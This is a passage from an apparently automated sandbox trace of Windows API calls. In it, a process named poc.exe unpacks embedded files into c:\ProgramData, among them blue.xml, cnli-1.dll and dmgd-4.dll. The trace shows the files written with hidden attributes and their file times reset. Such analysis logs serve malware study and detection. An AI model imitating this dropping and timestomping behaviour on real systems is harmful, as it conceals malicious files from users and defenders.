pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.577] CreateFileW (lpFileName="c:\\programdata\\blue.fb" (normalized: "c:\\programdata\\blue.fb"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x100 [0092.578] NtReadFile (in: FileHandle=0xfc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x710484, BufferLength=0xc, ByteOffset=0x28f340*=176066, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x710484*) returned 0x0 [0092.578] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.578] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.579] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.579] NtReadFile (in: FileHandle=0xfc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x10f, ByteOffset=0x28f340*=176078, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.579] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.580] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.580] WriteFile (in: hFile=0x100, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x1f7, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x1f7, lpOverlapped=0x0) returned 1 [0092.582] SetFileTime (hFile=0x100, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.582] CloseHandle (hObject=0x100) returned 1 [0092.582] NtClose (Handle=0x100) returned 0xc0000008 [0092.583] RtlFreeAnsiString (AnsiString="\\") [0092.583] FindFirstFileW (in: lpFileName="c:\\programdata\\blue.xml", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x740000, ftLastWriteTime.dwLowDateTime=0x75c120, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x24000024, nFileSizeLow=0x0, dwReserved0=0x75c350, dwReserved1=0x76ae48, cFileName="듈uĠ", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0092.583] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.583] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\blue.xml", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\blue.xml", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.583] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.583] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x100, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.583] RtlFreeAnsiString (AnsiString="\\") [0092.583] GetCurrentThreadId () returned 0x24c [0092.583] ResetEvent (hEvent=0xd0) returned 1 [0092.583] GetCurrentThreadId () returned 0x24c [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] ResetEvent (hEvent=0xd0) returned 1 [0092.584] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.584] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x104, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.584] RtlFreeAnsiString (AnsiString="\\") [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] SetEvent (hEvent=0xd4) returned 1 [0092.584] SetEvent (hEvent=0xd0) returned 1 [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] ResetEvent (hEvent=0xd0) returned 1 [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] ResetEvent (hEvent=0xd0) returned 1 [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] GetCurrentThreadId () returned 0x24c [0092.584] SetEvent (hEvent=0xd4) returned 1 [0092.584] SetEvent (hEvent=0xd0) returned 1 [0092.585] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.585] CreateFileW (lpFileName="c:\\programdata\\blue.xml" (normalized: "c:\\programdata\\blue.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x108 [0092.585] NtReadFile (in: FileHandle=0x104, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x710900, BufferLength=0xc, ByteOffset=0x28f340*=176349, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x710900*) returned 0x0 [0092.585] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.586] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.586] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.587] NtReadFile (in: FileHandle=0x104, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x64e, ByteOffset=0x28f340*=176361, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.587] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.587] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.588] WriteFile (in: hFile=0x108, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x1e66, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x1e66, lpOverlapped=0x0) returned 1 [0092.589] SetFileTime (hFile=0x108, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.589] CloseHandle (hObject=0x108) returned 1 [0092.590] NtClose (Handle=0x108) returned 0xc0000008 [0092.590] RtlFreeAnsiString (AnsiString="\\") [0092.590] FindFirstFileW (in: lpFileName="c:\\programdata\\cnli-1.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x740000, ftLastWriteTime.dwLowDateTime=0x75c120, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x24000024, nFileSizeLow=0x0, dwReserved0=0x75c350, dwReserved1=0x76ae48, cFileName="듈uĠ", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0092.590] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.590] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\cnli-1.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\cnli-1.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.590] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.590] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x108, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.591] RtlFreeAnsiString (AnsiString="\\") [0092.591] GetCurrentThreadId () returned 0x24c [0092.591] ResetEvent (hEvent=0xd0) returned 1 [0092.591] GetCurrentThreadId () returned 0x24c [0092.591] GetCurrentThreadId () returned 0x24c [0092.591] ResetEvent (hEvent=0xd0) returned 1 [0092.591] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.591] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x10c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.591] RtlFreeAnsiString (AnsiString="\\") [0092.591] GetCurrentThreadId () returned 0x24c [0092.591] GetCurrentThreadId () returned 0x24c [0092.591] SetEvent (hEvent=0xd4) returned 1 [0092.591] SetEvent (hEvent=0xd0) returned 1 [0092.592] GetCurrentThreadId () returned 0x24c [0092.592] ResetEvent (hEvent=0xd0) returned 1 [0092.592] GetCurrentThreadId () returned 0x24c [0092.592] GetCurrentThreadId () returned 0x24c [0092.592] ResetEvent (hEvent=0xd0) returned 1 [0092.592] GetCurrentThreadId () returned 0x24c [0092.592] GetCurrentThreadId () returned 0x24c [0092.592] SetEvent (hEvent=0xd4) returned 1 [0092.592] SetEvent (hEvent=0xd0) returned 1 [0092.592] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.592] CreateFileW (lpFileName="c:\\programdata\\cnli-1.dll" (normalized: "c:\\programdata\\cnli-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x110 [0092.593] NtReadFile (in: FileHandle=0x10c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x710d7c, BufferLength=0xc, ByteOffset=0x28f340*=177975, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x710d7c*) returned 0x0 [0092.593] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.593] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.594] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.594] NtReadFile (in: FileHandle=0x10c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0xb88a, ByteOffset=0x28f340*=177987, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.596] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.596] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.597] WriteFile (in: hFile=0x110, lpBuffer=0x610004*, nNumberOfBytesToWrite=0xe200, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0xe200, lpOverlapped=0x0) returned 1 [0092.599] SetFileTime (hFile=0x110, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.599] CloseHandle (hObject=0x110) returned 1 [0092.600] NtClose (Handle=0x110) returned 0xc0000008 [0092.600] RtlFreeAnsiString (AnsiString="\\") [0092.600] FindFirstFileW (in: lpFileName="c:\\programdata\\coli-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x740000, ftLastWriteTime.dwLowDateTime=0x75c120, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x24000024, nFileSizeLow=0x0, dwReserved0=0x75c350, dwReserved1=0x76ae48, cFileName="듈uĠ", cAlternateFileName="㺣皝藸v0")) returned 0xffffffff [0092.600] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.600] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\coli-0.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\coli-0.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.600] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.600] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x110, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.600] RtlFreeAnsiString (AnsiString="\\") [0092.600] GetCurrentThreadId () returned 0x24c [0092.600] ResetEvent (hEvent=0xd0) returned 1 [0092.600] GetCurrentThreadId () returned 0x24c [0092.600] GetCurrentThreadId () returned 0x24c [0092.600] ResetEvent (hEvent=0xd0) returned 1 [0092.600] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.601] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x114, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.601] RtlFreeAnsiString (AnsiString="\\") [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] SetEvent (hEvent=0xd4) returned 1 [0092.601] SetEvent (hEvent=0xd0) returned 1 [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] ResetEvent (hEvent=0xd0) returned 1 [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] ResetEvent (hEvent=0xd0) returned 1 [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] GetCurrentThreadId () returned 0x24c [0092.601] SetEvent (hEvent=0xd4) returned 1 [0092.601] SetEvent (hEvent=0xd0) returned 1 [0092.601] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.602] CreateFileW (lpFileName="c:\\programdata\\coli-0.dll" (normalized: "c:\\programdata\\coli-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x118 [0092.602] NtReadFile (in: FileHandle=0x114, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x71121c, BufferLength=0xc, ByteOffset=0x28f340*=225229, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x71121c*) returned 0x0 [0092.602] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.602] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.603] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.603] NtReadFile (in: FileHandle=0x114, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x22ea, ByteOffset=0x28f340*=225241, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.603] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.604] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.604] WriteFile (in: hFile=0x118, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x2600, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x2600, lpOverlapped=0x0) returned 1 [0092.605] SetFileTime (hFile=0x118, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.605] CloseHandle (hObject=0x118) returned 1 [0092.606] NtClose (Handle=0x118) returned 0xc0000008 [0092.606] RtlFreeAnsiString (AnsiString="\\") [0092.606] FindFirstFileW (in: lpFileName="c:\\programdata\\crli-0.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝薰v0")) returned 0xffffffff [0092.606] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.685] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\crli-0.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\crli-0.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.685] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.685] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x118, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.685] RtlFreeAnsiString (AnsiString="\\") [0092.685] GetCurrentThreadId () returned 0x24c [0092.685] ResetEvent (hEvent=0xd0) returned 1 [0092.685] GetCurrentThreadId () returned 0x24c [0092.685] GetCurrentThreadId () returned 0x24c [0092.685] ResetEvent (hEvent=0xd0) returned 1 [0092.685] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.685] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x11c, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.685] RtlFreeAnsiString (AnsiString="\\") [0092.685] GetCurrentThreadId () returned 0x24c [0092.685] GetCurrentThreadId () returned 0x24c [0092.685] SetEvent (hEvent=0xd4) returned 1 [0092.686] SetEvent (hEvent=0xd0) returned 1 [0092.686] GetCurrentThreadId () returned 0x24c [0092.686] ResetEvent (hEvent=0xd0) returned 1 [0092.686] GetCurrentThreadId () returned 0x24c [0092.686] GetCurrentThreadId () returned 0x24c [0092.686] ResetEvent (hEvent=0xd0) returned 1 [0092.686] GetCurrentThreadId () returned 0x24c [0092.686] GetCurrentThreadId () returned 0x24c [0092.686] SetEvent (hEvent=0xd4) returned 1 [0092.686] SetEvent (hEvent=0xd0) returned 1 [0092.686] SysReAllocStringLen (in: pbstr=0x28f384*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f384*="c:\\programdata\\") returned 1 [0092.686] CreateFileW (lpFileName="c:\\programdata\\crli-0.dll" (normalized: "c:\\programdata\\crli-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x120 [0092.686] NtReadFile (in: FileHandle=0x11c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x711698, BufferLength=0xc, ByteOffset=0x28f340*=234179, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x711698*) returned 0x0 [0092.687] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0092.687] VirtualAlloc (lpAddress=0x488000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x488000 [0092.687] VirtualFree (lpAddress=0x484000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0092.688] NtReadFile (in: FileHandle=0x11c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x28f338, Buffer=0x488004, BufferLength=0x1dc4, ByteOffset=0x28f340*=234191, Key=0x0 | out: IoStatusBlock=0x28f338, Buffer=0x488004*) returned 0x0 [0092.688] VirtualFree (lpAddress=0x488000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0092.688] VirtualFree (lpAddress=0x474000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0092.689] WriteFile (in: hFile=0x120, lpBuffer=0x610004*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x28f3d4, lpOverlapped=0x0 | out: lpBuffer=0x610004*, lpNumberOfBytesWritten=0x28f3d4*=0x2400, lpOverlapped=0x0) returned 1 [0092.690] SetFileTime (hFile=0x120, lpCreationTime=0x28f3b0, lpLastAccessTime=0x28f3a8, lpLastWriteTime=0x28f3a0) returned 1 [0092.690] CloseHandle (hObject=0x120) returned 1 [0092.691] NtClose (Handle=0x120) returned 0xc0000008 [0092.691] RtlFreeAnsiString (AnsiString="\\") [0092.691] FindFirstFileW (in: lpFileName="c:\\programdata\\dmgd-4.dll", lpFindFileData=0x28f110 | out: lpFindFileData=0x28f110*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="㺣皝澠u0")) returned 0xffffffff [0092.691] GetFileAttributesW (lpFileName="c:\\programdata\\" (normalized: "c:\\programdata")) returned 0x2012 [0092.691] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\programdata\\dmgd-4.dll", NtPathName=0x28f3c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\programdata\\dmgd-4.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.691] RtlDosPathNameToNtPathName_U (in: DosPathName="NUL", NtPathName=0x28f2d8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\NUL", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.691] NtCreateFile (in: FileHandle=0x28f2cc, DesiredAccess=0x80100080, ObjectAttributes=0x28f2b4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\NUL", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f2d0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f2cc*=0x120, IoStatusBlock=0x28f2d0*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0x0 [0092.691] RtlFreeAnsiString (AnsiString="\\") [0092.691] GetCurrentThreadId () returned 0x24c [0092.691] ResetEvent (hEvent=0xd0) returned 1 [0092.691] GetCurrentThreadId () returned 0x24c [0092.691] GetCurrentThreadId () returned 0x24c [0092.691] ResetEvent (hEvent=0xd0) returned 1 [0092.691] RtlDosPathNameToNtPathName_U (in: DosPathName="c:\\ProgramData\\poc.exe", NtPathName=0x28f320, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\c:\\ProgramData\\poc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.691] NtCreateFile (in: FileHandle=0x28f328, DesiredAccess=0x80100080, ObjectAttributes=0x28f300*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\c:\\ProgramData\\poc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x28f318, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x1, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x28f328*=0x124, IoStatusBlock=0x28f318*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0092.692] RtlFreeAnsiString (AnsiString="\\") [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] SetEvent (hEvent=0xd4) returned 1 [0092.692] SetEvent (hEvent=0xd0) returned 1 [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] ResetEvent (hEvent=0xd0) returned 1 [0092.692] GetCurrentThreadId () returned 0x24c [0092.692] GetCurrentThreadId () 